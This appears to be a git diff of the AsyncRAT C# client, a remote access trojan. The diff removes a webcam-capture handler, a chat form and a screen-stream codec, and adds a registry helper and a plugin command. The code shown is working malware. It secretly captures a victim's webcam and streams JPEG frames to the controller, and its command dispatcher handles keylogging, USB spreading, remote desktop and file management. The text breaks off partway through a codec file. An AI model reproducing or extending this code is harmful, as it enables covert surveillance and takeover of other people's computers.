namespace Client.Handle_Packet
|
||||
{
|
||||
public static class HandleWebcam
|
||||
{
|
||||
public static bool IsOn = false;
|
||||
public static VideoCaptureDevice FinalVideo;
|
||||
public static string HWID = Methods.HWID();
|
||||
private static MemoryStream Camstream = new MemoryStream();
|
||||
private static TempSocket TempSocket = null;
|
||||
private static int Quality = 50;
|
||||
|
||||
public static void Run(MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||
{
|
||||
case "webcam":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "getWebcams":
|
||||
{
|
||||
TempSocket?.Dispose();
|
||||
TempSocket = new TempSocket();
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
GetWebcams();
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
TempSocket.Dispose();
|
||||
CaptureDispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "capture":
|
||||
{
|
||||
if (IsOn == true) return;
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
IsOn = true;
|
||||
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString);
|
||||
Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger;
|
||||
FinalVideo.NewFrame += CaptureRun;
|
||||
FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger];
|
||||
FinalVideo.Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "stop":
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Webcam switch" + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void CaptureRun(object sender, NewFrameEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (TempSocket.IsConnected)
|
||||
{
|
||||
if (IsOn == true)
|
||||
{
|
||||
Bitmap image = (Bitmap)e.Frame.Clone();
|
||||
using (Camstream = new MemoryStream())
|
||||
{
|
||||
System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality;
|
||||
EncoderParameters myEncoderParameters = new EncoderParameters(1);
|
||||
EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality);
|
||||
myEncoderParameters.Param[0] = myEncoderParameter;
|
||||
ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg);
|
||||
image.Save(Camstream, jpgEncoder, myEncoderParameters);
|
||||
myEncoderParameters?.Dispose();
|
||||
myEncoderParameter?.Dispose();
|
||||
image?.Dispose();
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("Command").AsString = "capture";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray());
|
||||
TempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
CaptureDispose();
|
||||
TempSocket.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}).Start();
|
||||
Debug.WriteLine("CaptureRun: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void GetWebcams()
|
||||
{
|
||||
try
|
||||
{
|
||||
StringBuilder deviceInfo = new StringBuilder();
|
||||
FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
|
||||
foreach (FilterInfo videoCaptureDevice in videoCaptureDevices)
|
||||
{
|
||||
deviceInfo.Append(videoCaptureDevice.Name + "-=>");
|
||||
VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString);
|
||||
Debug.WriteLine(videoCaptureDevice.Name);
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
if (deviceInfo.Length > 0)
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("List").AsString = deviceInfo.ToString();
|
||||
}
|
||||
else
|
||||
{
|
||||
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||
msgpack.ForcePathObject("ID").AsString = HWID;
|
||||
msgpack.ForcePathObject("List").AsString = "None";
|
||||
}
|
||||
TempSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static void CaptureDispose()
|
||||
{
|
||||
try
|
||||
{
|
||||
IsOn = false;
|
||||
FinalVideo.Stop();
|
||||
FinalVideo.NewFrame -= CaptureRun;
|
||||
Camstream?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlerChat
|
||||
{
|
||||
|
||||
public void CreateChat()
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
Packet.GetFormChat = new FormChat();
|
||||
Packet.GetFormChat.ShowDialog();
|
||||
}).Start();
|
||||
}
|
||||
public void WriteInput(MsgPack unpack_msgpack)
|
||||
{
|
||||
if (Packet.GetFormChat.InvokeRequired)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Console.Beep();
|
||||
Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine);
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
public void ExitChat()
|
||||
{
|
||||
if (Packet.GetFormChat.InvokeRequired)
|
||||
{
|
||||
Packet.GetFormChat.Invoke((MethodInvoker)(() =>
|
||||
{
|
||||
Packet.GetFormChat.Close();
|
||||
Packet.GetFormChat.Dispose();
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -17,7 +17,6 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
public static CancellationTokenSource ctsDos;
|
||||
public static CancellationTokenSource ctsReportWindow;
|
||||
public static FormChat GetFormChat;
|
||||
public static string FileCopy = null;
|
||||
|
||||
public static void Read(object data)
|
||||
@ -100,54 +99,24 @@ namespace Client.Handle_Packet
|
||||
break;
|
||||
}
|
||||
|
||||
case "usbSpread":
|
||||
case "usb":
|
||||
{
|
||||
new HandleLimeUSB(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "remoteDesktop":
|
||||
{
|
||||
new HandleRemoteDesktop(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "processManager":
|
||||
{
|
||||
new HandleProcessManager(unpack_msgpack);
|
||||
}
|
||||
break;
|
||||
|
||||
case "fileManager":
|
||||
{
|
||||
new FileManager(unpack_msgpack);
|
||||
}
|
||||
break;
|
||||
|
||||
case "botKiller":
|
||||
{
|
||||
new HandleBotKiller().RunBotKiller();
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyLogger":
|
||||
{
|
||||
string isON = unpack_msgpack.ForcePathObject("isON").AsString;
|
||||
if (isON == "true")
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
HandleLimeLogger.isON = true;
|
||||
HandleLimeLogger.Run();
|
||||
}).Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
HandleLimeLogger.isON = false;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "visitURL":
|
||||
{
|
||||
string url = unpack_msgpack.ForcePathObject("URL").AsString;
|
||||
@ -191,24 +160,6 @@ namespace Client.Handle_Packet
|
||||
break;
|
||||
}
|
||||
|
||||
case "chat":
|
||||
{
|
||||
new HandlerChat().CreateChat();
|
||||
break;
|
||||
}
|
||||
|
||||
case "chatWriteInput":
|
||||
{
|
||||
new HandlerChat().WriteInput(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "chatExit":
|
||||
{
|
||||
new HandlerChat().ExitChat();
|
||||
break;
|
||||
}
|
||||
|
||||
case "pcOptions":
|
||||
{
|
||||
new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString);
|
||||
@ -240,13 +191,12 @@ namespace Client.Handle_Packet
|
||||
break;
|
||||
}
|
||||
|
||||
case "webcam":
|
||||
case "plugin":
|
||||
{
|
||||
HandleWebcam.Run(unpack_msgpack);
|
||||
new HandlePlugin(unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
//case "netStat":
|
||||
// {
|
||||
// HandleNetStat.RunNetStat();
|
||||
|
93
AsyncRAT-C#/Client/Helper/FormChat.Designer.cs
generated
93
AsyncRAT-C#/Client/Helper/FormChat.Designer.cs
generated
@ -1,93 +0,0 @@
|
||||
namespace Client.Helper
|
||||
{
|
||||
partial class FormChat
|
||||
{
|
||||
/// <summary>
|
||||
/// Required designer variable.
|
||||
/// </summary>
|
||||
private System.ComponentModel.IContainer components = null;
|
||||
|
||||
/// <summary>
|
||||
/// Clean up any resources being used.
|
||||
/// </summary>
|
||||
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && (components != null))
|
||||
{
|
||||
components.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
#region Windows Form Designer generated code
|
||||
|
||||
/// <summary>
|
||||
/// Required method for Designer support - do not modify
|
||||
/// the contents of this method with the code editor.
|
||||
/// </summary>
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = new System.ComponentModel.Container();
|
||||
this.textBox1 = new System.Windows.Forms.TextBox();
|
||||
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// textBox1
|
||||
//
|
||||
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
|
||||
this.textBox1.Location = new System.Drawing.Point(0, 384);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new System.Drawing.Size(757, 26);
|
||||
this.textBox1.TabIndex = 3;
|
||||
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown);
|
||||
//
|
||||
// richTextBox1
|
||||
//
|
||||
this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||
| System.Windows.Forms.AnchorStyles.Left)
|
||||
| System.Windows.Forms.AnchorStyles.Right)));
|
||||
this.richTextBox1.BackColor = System.Drawing.SystemColors.Window;
|
||||
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||
this.richTextBox1.Location = new System.Drawing.Point(12, 12);
|
||||
this.richTextBox1.Name = "richTextBox1";
|
||||
this.richTextBox1.ReadOnly = true;
|
||||
this.richTextBox1.Size = new System.Drawing.Size(733, 351);
|
||||
this.richTextBox1.TabIndex = 2;
|
||||
this.richTextBox1.Text = "";
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
// FormChat
|
||||
//
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.BackColor = System.Drawing.SystemColors.Window;
|
||||
this.ClientSize = new System.Drawing.Size(757, 410);
|
||||
this.ControlBox = false;
|
||||
this.Controls.Add(this.textBox1);
|
||||
this.Controls.Add(this.richTextBox1);
|
||||
this.Name = "FormChat";
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
|
||||
this.Text = "AysncRAT | Chat";
|
||||
this.TopMost = true;
|
||||
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormChat_FormClosing);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
private System.Windows.Forms.TextBox textBox1;
|
||||
public System.Windows.Forms.RichTextBox richTextBox1;
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
}
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
using Client.Handle_Packet;
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public partial class FormChat : Form
|
||||
{
|
||||
public FormChat()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void TextBox1_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text))
|
||||
{
|
||||
richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chat";
|
||||
msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine;
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
textBox1.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
private void FormChat_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
e.Cancel = true;
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
@ -1,123 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>17, 17</value>
|
||||
</metadata>
|
||||
</root>
|
@ -28,7 +28,7 @@ namespace Client.Helper
|
||||
sb.Append(Environment.MachineName);
|
||||
sb.Append(Environment.OSVersion);
|
||||
sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
|
||||
return GetHash(sb.ToString());
|
||||
return GetHash(sb.ToString()).Substring(0, 15).ToUpper();
|
||||
}
|
||||
|
||||
public static string GetHash(string strToHash)
|
||||
@ -39,7 +39,7 @@ namespace Client.Helper
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString().Substring(0, 15).ToUpper();
|
||||
return strResult.ToString();
|
||||
}
|
||||
|
||||
private static Mutex _appMutex;
|
||||
|
67
AsyncRAT-C#/Client/Helper/RegistryDB.cs
Normal file
67
AsyncRAT-C#/Client/Helper/RegistryDB.cs
Normal file
@ -0,0 +1,67 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Helper
|
||||
{
|
||||
public class RegistryDB
|
||||
{
|
||||
private static readonly string ID = Methods.HWID();
|
||||
|
||||
public static bool SetValue(string name, string value)
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree))
|
||||
{
|
||||
key.SetValue(name, value, RegistryValueKind.String);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetValue(string value)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
|
||||
{
|
||||
if (key == null) return null;
|
||||
object o = key.GetValue(value);
|
||||
if (o == null) return null;
|
||||
return (string)o;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return null;
|
||||
}
|
||||
|
||||
public static bool DeleteValue(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(ID, true))
|
||||
{
|
||||
if (key == null) return false;
|
||||
key.DeleteValue(name);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return false;
|
||||
}
|
||||
|
||||
public static bool DeleteSubKey()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true))
|
||||
{
|
||||
key.DeleteSubKeyTree(ID);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
File diff suppressed because one or more lines are too long
@ -1,20 +0,0 @@
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public enum CodecOption
|
||||
{
|
||||
/// <summary>
|
||||
/// The Previous and next image size must be equal
|
||||
/// </summary>
|
||||
RequireSameSize,
|
||||
/// <summary>
|
||||
/// If the codec is having a stream buffer
|
||||
/// </summary>
|
||||
HasBuffers,
|
||||
/// <summary>
|
||||
/// The image will be disposed by the codec and shall not be disposed by the user
|
||||
/// </summary>
|
||||
AutoDispose,
|
||||
/// <summary> No codec options were used </summary>
|
||||
None
|
||||
};
|
||||
}
|
@ -1,44 +0,0 @@
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
||||
protected JpgCompression jpgCompression;
|
||||
protected LzwCompression lzwCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
private int _imageQuality;
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
jpgCompression = new JpgCompression(value);
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IUnsafeCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
public abstract unsafe Bitmap DecodeData(Stream inStream);
|
||||
public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IVideoCodec
|
||||
{
|
||||
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||
|
||||
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
protected JpgCompression jpgCompression;
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
public int ImageQuality { get; set; }
|
||||
|
||||
public IVideoCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.jpgCompression = new JpgCompression(ImageQuality);
|
||||
this.ImageQuality = ImageQuality;
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
}
|
||||
}
|
@ -1,338 +0,0 @@
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
bool UseJPEG;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
this.UseJPEG = UseJPEG;
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
